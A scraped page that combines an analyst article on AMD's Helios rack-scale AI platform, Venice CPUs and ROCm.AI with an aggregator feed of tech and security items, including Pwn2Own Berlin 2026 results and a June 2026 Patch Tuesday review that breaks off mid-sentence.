<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[KDnuggets Weekly Roundup: Week of July 20, 2026]]></title>
<description><![CDATA[Top 5 MCP Servers for High Performance Agentic Development • 10 Newsletters Keeping You Ahead in AI • Kaggle + Google’s Free 5-Day Agentic AI Course • Language Model Hallucination Evaluation with GraphEval]]></description>
<link>https://tsecurity.de/de/3694721/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-20-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694721/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-20-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Top 5 MCP Servers for High Performance Agentic Development • 10 Newsletters Keeping You Ahead in AI • Kaggle + Google’s Free 5-Day Agentic AI Course • Language Model Hallucination Evaluation with GraphEval]]></content:encoded>
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<title><![CDATA[Chrome DevTools 145+: stop guessing SPA performance]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694604/hacking/chrome-devtools-145-stop-guessing-spa-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694604/hacking/chrome-devtools-145-stop-guessing-spa-performance/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:46 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/Ve_LOtA3ghg"></iframe></p>]]></content:encoded>
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<title><![CDATA[I tested Dell's new midrange work PC - It nails the sweet spot of price and performance]]></title>
<description><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></description>
<link>https://tsecurity.de/de/3694581/hacking/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694581/hacking/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:30 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></content:encoded>
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<title><![CDATA[Pwn2Own Berlin 2026: Day Three Results and Master of Pw]]></title>
<description><![CDATA[Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.Day Three added to ...]]></description>
<link>https://tsecurity.de/de/3694564/hacking/pwn2own-berlin-2026-day-three-results-and-master-of-pw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694564/hacking/pwn2own-berlin-2026-day-three-results-and-master-of-pw/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:54 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.</p><p class="">Day Three added to an already historic event, bringing the final totals to $1,298,250 awarded for 47 unique 0-day vulnerabilities across three days of competition. DEVCORE claimed the title of Master of Pwn with a commanding 50.5 points and $505,000 — a dominant performance across all three days. STARLabs SG finished in second with 25 points and $242,500, followed by Out Of Bounds in third with 12.75 points and $95,750.</p><p class="">Congratulations to all the researchers who participated, and a special thank you to OffensiveCon for hosting. We'll see you at the next Pwn2Own.</p>





















  
  














































  

    
  
    

      

      
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<p>Here are the results of Day Three:</p>
<p><b data-preserve-html-node="true">SUCCESS</b>/<b data-preserve-html-node="true">COLLISION</b> - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used two bugs to exploit Red Hat Linux, but one of the bugs was previously known. He still earns $7,000 and 1.5 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) used an integer overflow to escalate privileges on #Windows 11. Their 5th round win nets them $7,500 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4242cc1e-e6b2-42c7-a84c-b655a95a1433/Image+%2839%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. abused an external control to exploit OpenAI Codex and pop a host of calcs. He earns $20,000 and 4 Master of Pwn points. </p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg" data-image-dimensions="551x734" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=1000w" width="551" height="734" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/254914e7-b4ea-469c-b316-96c91c1df426/image+%2840%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/645170d7-8486-43db-8080-275ec71a7497/Image+%2841%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Giuseppe Calì of Summoning Team (@SummoningTeam) could not get their exploit of VMware ESXi working within the time allotted.</p>
<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security targeted Anthropic Claude Code, hitting a one-vulnerability collision with a previous attempt and earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg" data-image-dimensions="1220x1627" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=1000w" width="1220" height="1627" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/05f2da4d-7e49-4284-934e-c2fb017a3552/image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/02c84223-f305-456a-a2f8-d51e6d67333a/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Hyunwoo Kim (@v4bel) chained a use-after-free and uninitialized memory bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the fourth round, earning $5,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">SUCCESS</b> - splitline (@<em>splitline</em>) of DEVCORE Research Team chained 2 bugs to exploit Microsoft SharePoint, earning $100,000 and 10 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) used a Memory Corruption bug to exploit VMware ESXi with the Cross-tenant Code Execution add-on, earning $200,000 and 20 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">COLLISON</b> -  While Byung Young Yi (@yibarrack) of Out Of Bounds successfully demonstrated their exploit of Anthropic Claude Code, the bug used had been previously disclosed. They still earn $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
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</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being 